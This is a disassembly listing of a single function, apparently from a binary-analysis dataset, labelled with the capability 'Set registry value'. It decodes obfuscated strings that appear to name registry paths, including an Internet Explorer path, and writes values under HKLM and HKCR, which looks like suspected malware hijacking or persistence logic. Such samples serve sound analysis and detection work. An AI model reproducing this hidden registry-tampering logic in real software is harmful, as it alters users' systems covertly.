Function at 0x4097a0
Capabilities:
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x4132e0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push ebp
push esi
mov esi, ecx
push edi
push 0x418648
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString_3
lea eax, [esi + 0x114]
xor ebx, ebx
push eax
lea ecx, [esp + 0x18]
mov dword [esp + 0x34], ebx
call fcn.0041235e
push str.Program_FilesInternet_Exploreriexplore.exe
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::operator_2
push 0x418b48
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::operator_2
lea ecx, [esi + 0x44]
push ecx
lea ecx, [esp + 0x18]
call fcn.0041235e
push str.RFDONQJcTPI_XFUJcDsnjqtcTfuRjqzNqjuqjcNJ_WSPUJ1J_JctojsscPwjqcdprrfqk
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString_3
push 4
push ebx
lea edx, [esp + 0x18]
push 3
push edx
mov ecx, esi
mov byte [esp + 0x40], 1
call fcn.0040d130
lea eax, [esp + 0x10]
lea ecx, [esp + 0x18]
push eax
call sub.MFC42.DLL_CString::CString_2
push 0xf003f
push ecx
lea edx, [esp + 0x20]
mov ecx, esp
mov dword [esp + 0x28], esp
push edx
mov byte [esp + 0x3c], 2
call sub.MFC42.DLL_CString::CString_2
mov ecx, esi
call fcn.00408ac0
xor edi, edi
mov dword [esp + 0x1c], edi
push str.TPI_XFUJcDsnjqtcTfuRjqzNqjuqjcNJ_WSPUJ1J_JctojsscPwjqcdprrfqk
lea ecx, [esp + 0x14]
mov byte [esp + 0x34], 3
call sub.MFC42.DLL_CString::operator
push 4
push ebx
lea eax, [esp + 0x18]
push 3
push eax
mov ecx, esi
call fcn.0040d130
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x20]
push ecx
push 0xf003f
push ebx
push edx
push 0x80000002
mov dword [esp + 0x34], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x4098e0
mov eax, dword [esp + 0x14]
mov edi, dword [esp + 0x20]
push eax
mov dword [esp + 0x20], edi
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push ebp
push 1
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp edi, ebx
je 0x4098e0
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edi, edi
mov dword [esp + 0x1c], edi
push 0x20019
push ecx
lea eax, [esp + 0x20]
mov ecx, esp
mov dword [esp + 0x28], esp
push eax
call sub.MFC42.DLL_CString::CString_2
mov ecx, esi
call fcn.00408ac0
push str.UPP_cDSTNKc_86D:4_72_5F72679_2F5JF27_775E4747_K
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
push 4
push ebx
lea ecx, [esp + 0x18]
push 3
push ecx
mov ecx, esi
call fcn.0040d130
lea edx, [esp + 0x10]
lea ecx, [esp + 0x18]
push edx
call sub.MFC42.DLL_CString::operator_1
push 0xf003f
push ecx
lea eax, [esp + 0x20]
mov ecx, esp
mov dword [esp + 0x28], esp
push eax
call sub.MFC42.DLL_CString::CString_2
mov ecx, esi
call fcn.00408ac0
push str.DSTNKc_86D:4_72_5F72679_2F5JF27_775E4747_K
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
push 4
push ebx
lea ecx, [esp + 0x18]
push 3
push ecx
mov ecx, esi
call fcn.0040d130
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x20]
push edx
push 0xf003f
push ebx
push eax
push 0x80000000
mov dword [esp + 0x34], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x4099ce
xor eax, eax
cmp edi, ebx
je 0x409996
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [esp + 0x20]
cmp eax, ebx
mov dword [esp + 0x1c], edi
jne 0x4099ce
mov eax, dword [esp + 0x14]
push eax
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push ebp
push 1
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp edi, ebx
je 0x4099ce
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edi, edi
mov dword [esp + 0x1c], edi
push 0x20019
push ecx
lea edx, [esp + 0x20]
mov ecx, esp
mov dword [esp + 0x2c], esp
push edx
call sub.MFC42.DLL_CString::CString_2
mov ecx, esi
call fcn.00408ac0
cmp edi, ebx
je 0x4099f6
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x18]
mov byte [esp + 0x30], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov byte [esp + 0x30], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov dword [esp + 0x30], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x24
ret